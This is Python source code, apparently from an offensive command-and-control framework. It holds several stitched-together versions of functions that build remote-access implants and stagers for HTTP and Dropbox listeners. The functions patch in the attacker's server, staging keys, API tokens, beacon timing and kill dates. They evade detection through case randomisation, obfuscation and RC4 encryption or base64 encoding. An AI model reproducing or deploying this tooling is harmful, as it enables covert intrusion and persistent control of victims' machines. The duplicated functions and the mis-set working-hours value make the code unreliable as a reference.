def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ Generate the full agent code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/http generate_agent(): no language specified!') return None language = language.lower() delay = listenerOptions['DefaultDelay']['Value'] jitter = listenerOptions['DefaultJitter']['Value'] profile = listenerOptions['DefaultProfile']['Value'] lostLimit = listenerOptions['DefaultLostLimit']['Value'] killDate = listenerOptions['KillDate']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] b64DefaultResponse = base64.b64encode(self.default_response()) if language == 'powershell': f = open(self.mainMenu.installPath + "./data/agent/agent.ps1") code = f.read() f.close() # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace( '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) code = code.replace( '$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"') # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if obfuscate: code = helpers.obfuscate(code, obfuscationCommand=obfuscationCommand) return code elif language == 'python': f = open(self.mainMenu.installPath + "./data/agent/agent.py") code = f.read() f.close() # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('delay = 60', 'delay = %s' % (delay)) code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter)) code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile)) code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit)) code = code.replace( 'defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse)) # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) if workingHours != "": code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate)) return code else: print helpers.color( "[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_agent(self, listenerOptions, language=None): """ Generate the full agent code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_agent(): no language specified!') return None language = language.lower() delay = listenerOptions['DefaultDelay']['Value'] jitter = listenerOptions['DefaultJitter']['Value'] profile = listenerOptions['DefaultProfile']['Value'] lostLimit = listenerOptions['DefaultLostLimit']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] killDate = listenerOptions['KillDate']['Value'] b64DefaultResponse = base64.b64encode(self.default_response()) if language == 'powershell': f = open(self.mainMenu.installPath + "/data/agent/agent.ps1") code = f.read() f.close() # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"') # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") return code elif language == 'python': f = open(self.mainMenu.installPath + "/data/agent/agent.py") code = f.read() f.close() #path in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) #strip out comments and blank lines code = helpers.strip_python_comments(code) #patch some more code = code.replace('delay = 60', 'delay = %s' % (delay)) code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter)) code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile)) code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit)) code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse)) # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) if workingHours != "": code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate)) return code else: print helpers.color("[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] killDate = listenerOptions['KillDate']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) #Patch in the killdate, if any if killDate != "": stager = stager.replace('REPLACE_KILLDATE', killDate) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] if workingHours != "": stager = stager.replace('SET_WORKINGHOURS', workingHours) if killDate != "": stager = stager.replace('SET_KILLDATE', killDate) # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] stagingFolder = "/%s/%s" % ( baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")